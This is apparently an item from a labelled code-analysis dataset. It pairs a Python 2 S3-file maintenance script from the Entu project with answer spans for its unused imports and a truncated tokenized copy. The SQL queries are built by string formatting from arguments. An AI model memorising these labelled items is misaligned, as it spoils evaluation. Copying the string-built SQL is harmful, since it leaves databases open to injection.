2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
argoroots/Entu/app/update/s3.py
[ { "content": "import argparse\nimport os\nimport sys\nimport time\nimport torndb\nimport yaml\nimport mimetypes\nimport urllib\n\nfrom datetime import datetime\nfrom pymongo import MongoClient, ASCENDING, DESCENDING\nfrom operator import itemgetter\n\nfrom boto.s3.connection import S3Connection\nfrom boto.s3.key import Key\n\n\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--host', default = '127.0.0.1')\nparser.add_argument('--database', required = True)\nparser.add_argument('--user', required = True)\nparser.add_argument('--password', required = True)\nparser.add_argument('--customergroup', required = False, default = '0')\nparser.add_argument('-v', '--verbose', action = 'count', default = 0)\nargs = parser.parse_args()\n\n\nreload(sys)\nsys.setdefaultencoding('UTF-8')\n\n\n\n\n\n\n\n\nprint '\\n\\n\\n\\n\\n'\nfor c in customers():\n # if c.get('database-name') in ['okupatsioon', 'are', 'akg']:\n # continue\n\n if c.get('database-name') not in ['www']:\n continue\n\n print '%s %s started' % (datetime.now(), c.get('database-name'))\n\n m2m = S3files(\n db_host = c.get('database-host'),\n db_name = c.get('database-name'),\n db_user = c.get('database-user'),\n db_pass = c.get('database-password')\n )\n m2m.files()\n\n print '%s %s ended' % (datetime.now(), c.get('database-name'))\n print '%s' % yaml.safe_dump(m2m.stats, default_flow_style=False, allow_unicode=True)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def customers():\n db = torndb.Connection(\n host = args.host,\n database = args.database,\n user = args.user,\n password = args.password,\n )\n\n sql = \"\"\"\n SELECT DISTINCT\n e.id AS entity,\n property_definition.dataproperty AS property,\n CONVERT(IF(\n property_definition.datatype='decimal',\n property.value_decimal,\n IF(\n property_definition.datatype='integer',\n property.value_integer,\n IF(\n property_definition.datatype='file',\n property.value_file,\n property.value_string\n )\n )\n ), CHAR) AS value\n FROM (\n SELECT\n entity.id,\n entity.entity_definition_keyname\n FROM\n entity,\n relationship\n WHERE relationship.related_entity_id = entity.id\n AND entity.is_deleted = 0\n AND relationship.is_deleted = 0\n AND relationship.relationship_definition_keyname = 'child'\n -- AND relationship.entity_id IN (%s)\n ) AS e\n LEFT JOIN property_definition ON property_definition.entity_definition_keyname = e.entity_definition_keyname AND property_definition.dataproperty IN ('database-host', 'database-name', 'database-user', 'database-password') AND property_definition.is_deleted = 0\n LEFT JOIN property ON property.property_definition_keyname = property_definition.keyname AND property.entity_id = e.id AND property.is_deleted = 0\n HAVING value IS NOT NULL;\n \"\"\" % args.customergroup\n\n customers = {}\n for c in db.query(sql):\n if c.property in ['database-host', 'database-name', 'database-user', 'database-password']:\n if not c.value or not c.property:\n continue\n customers.setdefault(c.entity, {})[c.property] = c.value\n\n result = []\n for c, p in customers.iteritems():\n if not p.get('database-host') or not p.get('database-name') or not p.get('database-user') or not p.get('database-password'):\n continue\n\n try:\n db = torndb.Connection(\n host = p.get('database-host'),\n database = p.get('database-name'),\n user = p.get('database-user'),\n password = p.get('database-password'),\n )\n db.get('SELECT 1 FROM entity LIMIT 1;')\n except Exception:\n print p\n continue\n\n result.append(p)\n\n return sorted(result, key=itemgetter('database-name'))", "metadata": "root.customers", "header": "['module', '___EOS___']", "index": 33 }, { "content": "class S3files():\n", "metadata": "root.S3files", "header": "['module', '___EOS___']", "index": 107 }, { "content": " def __init__(self, db_host, db_name, db_user, db_pass):\n self.stats = {}\n\n self.db_host = db_host\n self.db_name = db_name\n self.db_user = db_user\n self.db_pass = db_pass\n self.db = torndb.Connection(\n host = db_host,\n database = db_name,\n user = db_user,\n password = db_pass,\n )", "metadata": "root.S3files.__init__", "header": "['class', 'S3files', '(', ')', ':', '___EOS___']", "index": 108 }, { "content": " def files(self):\n sql = \"\"\"\n SELECT\n file.id,\n file.md5,\n file.s3_key,\n CONCAT('%s_2', '/', property.entity_id, '/', property.id) AS new_key,\n file.filename,\n file.filesize\n FROM file\n LEFT JOIN property ON property.value_file = file.id\n WHERE file.url IS NULL\n AND file.s3_key IS NOT NULL\n -- AND file.md5 IS NOT NULL\n ORDER BY id\n -- LIMIT 1000;\n \"\"\" % self.db_name\n\n\n s3_conn = S3Connection(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_bucket = s3_conn.get_bucket(AWS_BUCKET, validate=False)\n\n rows = self.db.query(sql)\n for r in rows:\n s3_key = s3_bucket.get_key(r.s3_key)\n if not s3_key:\n print 'ERROR: %s - %s no S3 key' % (r.id, r.s3_key)\n continue\n\n if not r.filename:\n continue\n\n # if r.filename:\n # mimetypes.init()\n # mime = mimetypes.types_map.get('.%s' % r.filename.lower().split('.')[-1], 'application/octet-stream')\n # else:\n # mime = 'application/octet-stream'\n\n if s3_key.content_disposition != 'inline; filename*=UTF-8\\'\\'%s' % urllib.quote(r.filename.encode('utf-8')):\n # if r.filename:\n # mimetypes.init()\n # mime = mimetypes.types_map.get('.%s' % r.filename.lower().split('.')[-1], 'application/octet-stream')\n # metadata = {\n # 'Content-Type': mime,\n # 'Content-Disposition': 'inline; filename*=UTF-8\\'\\'%s' % urllib.quote(r.filename.encode('utf-8'))\n # }\n # else:\n # metadata = {\n # 'Content-Type': 'application/octet-stream'\n # }\n\n # new_key = s3_key.copy(\n # dst_bucket = s3_key.bucket.name,\n # dst_key = s3_key.name,\n # metadata = metadata,\n # encrypt_key = True\n # )\n\n print 'ERROR: %s - %s - %s - %s' % (r.id, r.s3_key, r.filename, s3_key.content_disposition)\n continue\n\n\n # if r.md5:\n # if r.md5 != s3_key.etag[1:][:-1]:\n # print 'ERROR: %s - %s - %s' % (r.id, r.md5, s3_key.etag[1:-1])\n\n # if r.filesize != s3_key.size:\n # print 'ERROR: %s - %s - %s' % (r.id, r.filesize, s3_key.size)\n\n\n # if r.new_key:\n # print 'ERROR: %s - %s new_key' % (r.id, r.s3_key)\n # continue\n\n # old_file = os.path.join('/', 'entu', 'oldfiles', r.md5[0], r.md5)\n # if not os.path.exists(old_file):\n\n # s3_key = s3_bucket.get_key(self.db_name + '/' + r.md5[0] + '/' + r.md5)\n # if s3_key:\n\n # if r.filename:\n # mimetypes.init()\n # mime = mimetypes.types_map.get('.%s' % r.filename.lower().split('.')[-1], 'application/octet-stream')\n # metadata = {\n # 'Content-Type': mime,\n # 'Content-Disposition': 'inline; filename*=UTF-8\\'\\'%s' % urllib.quote(r.filename.encode('utf-8'))\n # }\n\n # else:\n # metadata = {\n # 'Content-Type': 'application/octet-stream'\n # }\n\n # new_key = s3_key.copy(\n # dst_bucket = 'entu-files',\n # dst_key = r.new_key,\n # metadata = metadata,\n # encrypt_key = True\n # )\n # new_key.set_acl('private')\n\n # self.db.execute('UPDATE file set s3_key = %s, changed = NOW(), changed_by = \\'s3copy3\\' WHERE id = %s LIMIT 1;', r.new_key, r.id)\n\n # print 'ERROR: %s - %s S3 file found' % (r.id, r.s3_key)\n # continue\n\n # s3_file = Key(s3_bucket)\n # s3_file.key = r.new_key\n # if r.filename:\n # mimetypes.init()\n # s3_file.content_type = mimetypes.types_map.get('.%s' % r.filename.lower().split('.')[-1], 'application/octet-stream')\n # s3_file.set_metadata('Content-Disposition', 'inline; filename*=UTF-8\\'\\'%s' % urllib.quote(r.filename.encode('utf-8')))\n # else:\n # s3_file.content_type = 'application/octet-stream'\n # s3_file.set_contents_from_filename(old_file, encrypt_key=True)\n\n # self.db.execute('UPDATE file set s3_key = %s, changed = NOW(), changed_by = \\'s3copy3\\' WHERE id = %s LIMIT 1;', r.new_key, r.id)\n\n # new_dir = os.path.join('/', 'entu', 'oldfiles', r.md5[0])\n # new_file = os.path.join(new_dir, r.md5)\n\n # if not os.path.exists(new_dir):\n # os.makedirs(new_dir)\n # os.rename(old_file, new_file)\n\n # print 'ERROR: %s - %s - %s' % (r.id, old_file, r.new_key)\n\n\n # old_file = os.path.join('/', 'entu', 'files', self.db_name, r.md5[0], r.md5)\n # if os.path.exists(os.path.join('/', 'entu', 'files', self.db_name, r.md5[0], r.md5)):\n # print 'ERROR: %s - %s file not in S3' % (r.id, r.s3_key)\n\n # if not r.new_key:\n # print 'ERROR: %s - %s new key not set' % (r.id, r.old_key)\n # continue\n\n # if r.filename:\n # mimetypes.init()\n # mime = mimetypes.types_map.get('.%s' % r.filename.lower().split('.')[-1], 'application/octet-stream')\n # metadata = {\n # 'Content-Type': mime,\n # 'Content-Disposition': 'inline; filename*=UTF-8\\'\\'%s' % urllib.quote(r.filename.encode('utf-8'))\n # }\n # else:\n # metadata = {\n # 'Content-Type': 'application/octet-stream'\n # }\n\n # new_key = s3_key.copy(\n # dst_bucket = s3_key.bucket.name,\n # dst_key = r.new_key,\n # metadata = metadata,\n # encrypt_key = True\n # )\n # new_key.set_acl('private')\n\n # if not new_key:\n # print 'ERROR: %s - %s copy failed' % (r.id, r.s3_key)\n # continue\n\n # self.db.execute('UPDATE file set s3_key = %s, changed = NOW(), changed_by = \\'s3copy2\\' WHERE id = %s LIMIT 1;', r.new_key, r.id)\n\n # s3_key2 = s3_bucket.get_key(r.new_key)\n # if not s3_key2:\n # print 'ERROR: %s - %s new S3 file not found' % (r.id, r.s3_key)\n # continue\n\n # s3_key.delete()\n\n # self.db.execute('UPDATE file set s3_key = %s, changed = NOW(), changed_by = \\'s3copy\\' WHERE id = %s LIMIT 1;', r.new_key, r.id)\n\n # if not self.db.get('SELECT id FROM file WHERE md5 = %s AND s3_key IS NULL LIMIT 1;', r.md5):\n # old_file = os.path.join('/', 'entu', 'files', self.db_name, r.md5[0], r.md5)\n # new_dir = os.path.join('/', 'entu', 'oldfiles', r.md5[0])\n # new_file = os.path.join(new_dir, r.md5)\n # if os.path.exists(old_file):\n # if not os.path.exists(new_dir):\n # os.makedirs(new_dir)\n # os.rename(old_file, new_file)\n # else:\n # print 'ERROR: %s - %s file not found' % (r.id, r.old_key)\n\n # s3_key.delete()\n\n # if args.verbose > 3: print '%s -> %s -> %s' % (r.id, r.old_key, new_key.key)", "metadata": "root.S3files.files", "header": "['class', 'S3files', '(', ')', ':', '___EOS___']", "index": 122 } ]
[ { "span": "import os", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 9 }, { "span": "import time", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 11 }, { "span": "import mimetypes", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 16 }, { "span": "from pymongo import MongoClient, ASCENDING, DESCENDING", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 54 }, { "span": "from boto.s3.key import Key", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 27 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "argparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "torn", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "yaml_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "mimetypes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pymongo_", "import_", "Mon", "go", "Client_", ",_", "ASC", "ENDING_", ",_", "DESC", "ENDING_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "operator_", "import_", "itemgetter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "boto_", "._", "s3_", "._", "connection_", "import_", "S", "3", "Connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "boto_", "._", "s3_", "._", "key_", "import_", "Key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "host", "'_", ",_", "default_", "=_", "'", "127", ".0", ".0", ".1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "databa", "se", "'_", ",_", "required_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "user", "'_", ",_", "required_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "password", "'_", ",_", "required_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "customer", "group", "'_", ",_", "required_", "=_", "False_", ",_", "default_", "=_", "'", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "v", "'_", ",_", "'--", "verbo", "se", "'_", ",_", "action_", "=_", "'", "count", "'_", ",_", "default_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reload_", "(_", "sys_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "setdefault", "encoding_", "(_", "'", "UT", "F", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'\\\\", "n", "\\\\", "n", "\\\\", "n", "\\\\", "n", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "customer", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "c", ".", "get", "('", "databa", "se", "-", "name", "')", " ", "in", " ", "['", "oku", "pat", "sio", "on", "',", " ", "'", "are", "',", " ", "'", "ak", "g", "']", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "continue_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "c_", "._", "get_", "(_", "'", "databa", "se", "-", "name", "'_", ")_", "not_", "in_", "[_", "'", "www", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'%", "s", " ", "%", "s", " ", "start", "ed", "'_", "%_", "(_", "datetime_", "._", "now_", "(_", ")_", ",_", "c_", "._", "get_", "(_", "'", "databa", "se", "-", "name", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "m2", "m_", "=_", "S", "3f", "iles_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "host_", "=_", "c_", "._", "get_", "(_", "'", "databa", "se", "-", "host", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "name_", "=_", "c_", "._", "get_", "(_", "'", "databa", "se", "-", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "user_", "=_", "c_", "._", "get_", "(_", "'", "databa", "se", "-", "user", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "pass_", "=_", "c_", "._", "get_", "(_", "'", "databa", "se", "-", "password", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m2", "m_", "._", "files_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'%", "s", " ", "%", "s", " ", "ende", "d", "'_", "%_", "(_", "datetime_", "._", "now_", "(_", ")_", ",_", "c_", "._", "get_", "(_", "'", "databa", "se", "-", "name", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", "'_", "%_", "yaml_", "._", "safe", "\\u", "dump_", "(_", "m2", "m_", "._", "stats_", ",_", "default", "\\u", "flow", "\\u", "style_", "=_", "False_", ",_", "allow", "\\u", "unicode_", "=_", "True_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "customer", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "=_", "torn", "db_", "._", "Connection_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "args_", "._", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "database_", "=_", "args_", "._", "database_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "args_", "._", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "password_", "=_", "args_", "._", "password_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sql_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "SELECT", " ", "DIST", "INC", "T", "\\", "10", ";", " ", " ", " ", " ", "e", ".", "id", " ", "AS", " ", "entity", ",", "\\", "10", ";", " ", " ", " ", " ", "property", "\\u", "definit", "ion", ".", "datapro", "pert", "y", " ", "AS", " ", "property", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "CONVERT", "(", "IF", "(", "\\", "10", ";", " ", " ", " ", " ", "property", "\\u", "definit", "ion", ".", "datatype", "='", "decima", "l", "',", "\\", "10", ";", " ", " ", " ", " ", "property", ".", "value", "\\u", "decima", "l", ",", "\\", "10", ";", " ", " ", " ", " ", "IF", "(", "\\", "10", ";", " ", " ", "property", "\\u", "definit", "ion", ".", "datatype", "='", "integ", "er", "',", "\\", "10", ";", " ", " ", "property", ".", "value", "\\u", "integ", "er", ",", "\\", "10", ";", " ", " ", "IF", "(", "\\", "10", ";", " ", " ", "property", "\\u", "definit", "ion", ".", "datatype", "='", "file", "',", "\\", "10", ";", " ", " ", "property", ".", "value", "\\u", "file", ",", "\\", "10", ";", " ", " ", "property", ".", "value", "\\u", "string", "\\", "10", ";", " ", " ", ")", "\\", "10", ";", " ", " ", " ", " ", ")", "\\", "10", ";", " ", " ", " ", " ", "),", " ", "CHAR", ")", " ", "AS", " ", "value", "\\", "10", ";", " ", " ", " ", " ", "FROM", " ", "(", "\\", "10", ";", " ", " ", " ", " ", "SELECT", "\\", "10", ";", " ", " ", " ", " ", "entity", ".", "id", ",", "\\", "10", ";", " ", " ", " ", " ", "entity", ".", "entity", "\\u", "definit", "ion", "\\u", "keyn", "ame", "\\", "10", ";", " ", " ", " ", " ", "FROM", "\\", "10", ";", " ", " ", " ", " ", "entity", ",", "\\", "10", ";", " ", " ", " ", " ", "relation", "ship", "\\", "10", ";", " ", " ", " ", " ", "WHE", "RE", " ", "relation", "ship", ".", "relate", "d\\u", "entity", "\\u", "id", " ", "=", " ", "entity", ".", "id", "\\", "10", ";", " ", " ", " ", " ", "AND", " ", "entity", ".", "is", "\\u", "delete", "d", " ", "=", " ", "0", "\\", "10", ";", " ", " ", " ", " ", "AND", " ", "relation", "ship", ".", "is", "\\u", "delete", "d", " ", "=", " ", "0", "\\", "10", ";", " ", " ", " ", " ", "AND", " ", "relation", "ship", ".", "relation", "ship", "\\u", "definit", "ion", "\\u", "keyn", "ame", " ", "=", " ", "'", "child", "'", "\\", "10", ";", " ", " ", " ", " ", "--", " ", "AND", " ", "relation", "ship", ".", "entity", "\\u", "id", " ", "IN", " ", "(%", "s", ")", "\\", "10", ";", " ", " ", " ", " ", ")", " ", "AS", " ", "e", "\\", "10", ";", " ", " ", " ", " ", "LEF", "T", " ", "JOIN", " ", "property", "\\u", "definit", "ion", " ", "ON", " ", "property", "\\u", "definit", "ion", ".", "entity", "\\u", "definit", "ion", "\\u", "keyn", "ame", " ", "=", " ", "e", ".", "entity", "\\u", "definit", "ion", "\\u", "keyn", "ame", " ", "AND", " ", "property", "\\u", "definit", "ion", ".", "datapro", "pert", "y", " ", "IN", " ", "('", "databa", "se", "-", "host", "',", " ", "'", "databa", "se", "-", "name", "',", " ", "'", "databa", "se", "-", "user", "',", " ", "'", "databa", "se", "-", "password", "')", " ", "AND", " ", "property", "\\u", "definit", "ion", ".", "is", "\\u", "delete", "d", " ", "=", " ", "0", "\\", "10", ";", " ", " ", " ", " ", "LEF", "T", " ", "JOIN", " ", "property", " ", "ON", " ", "property", ".", "property", "\\u", "definit", "ion", "\\u", "keyn", "ame", " ", "=", " ", "property", "\\u", "definit", "ion", ".", "keyn", "ame", " ", "AND", " ", "property", ".", "entity", "\\u", "id", " ", "=", " ", "e", ".", "id", " ", "AND", " ", "property", ".", "is", "\\u", "delete", "d", " ", "=", " ", "0", "\\", "10", ";", " ", " ", " ", " ", "HA", "VING", " ", "value", " ", "IS", " ", "NOT", " ", "NULL", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "%_", "args_", "._", "customer", "group_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "customer", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "db_", "._", "query_", "(_", "sql_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "c_", "._", "property_", "in_", "[_", "'", "databa", "se", "-", "host", "'_", ",_", "'", "databa", "se", "-", "name", "'_", ",_", "'", "databa", "se", "-", "user", "'_", ",_", "'", "databa", "se", "-", "password", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "c_", "._", "value_", "or_", "not_", "c_", "._", "property_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "customer", "s_", "._", "setdefault_", "(_", "c_", "._", "entity_", ",_", "{_", "}_", ")_", "[_", "c_", "._", "property_", "]_", "=_", "c_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", ",_", "p_", "in_", "customer", "s_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "p_", "._", "get_", "(_", "'", "databa", "se", "-", "host", "'_", ")_", "or_", "not_", "p_", "._", "get_", "(_", "'", "databa", "se", "-", "name", "'_", ")_", "or_", "not_", "p_", "._", "get_", "(_", "'", "databa", "se", "-", "user", "'_", ")_", "or_", "not_", "p_", "._", "get_", "(_", "'", "databa", "se", "-", "password", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "=_", "torn", "db_", "._", "Connection_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "p_", "._", "get_", "(_", "'", "databa", "se", "-", "host", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "database_", "=_", "p_", "._", "get_", "(_", "'", "databa", "se", "-", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "p_", "._", "get_", "(_", "'", "databa", "se", "-", "user", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "password_", "=_", "p_", "._", "get_", "(_", "'", "databa", "se", "-", "password", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "get_", "(_", "'", "SELECT", " ", "1", " ", "FROM", " ", "entity", " ", "LIMIT", " ", "1", ";'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "sorted_", "(_", "result_", ",_", "key_", "=_", "itemgetter_", "(_", "'", "databa", "se", "-", "name", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "S", "3f", "iles_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "S", "3f", "iles_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "db", "\\u", "host_", ",_", "db", "\\u", "name_", ",_", "db", "\\u", "user_", ",_", "db", "\\u", "pass_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "stats_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "db", "\\u", "host_", "=_", "db", "\\u", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "db", "\\u", "name_", "=_", "db", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "db", "\\u", "user_", "=_", "db", "\\u", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "db", "\\u", "pass_", "=_", "db", "\\u", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "db_", "=_", "torn", "db_", "._", "Connection_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "db", "\\u", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "database_", "=_", "db", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "db", "\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "password_", "=_", "db", "\\u", "pass_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "S", "3f", "iles_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "files_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sql_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "SELECT", "\\", "10", ";", " ", " ", " ", " ", "file", ".", "id", ",", "\\", "10", ";", " ", " ", " ", " ", "file", ".", "md5", ",", "\\", "10", ";", " ", " ", " ", " ", "file", ".", "s3", "\\u", "key", ",", "\\", "10", ";", " ", " 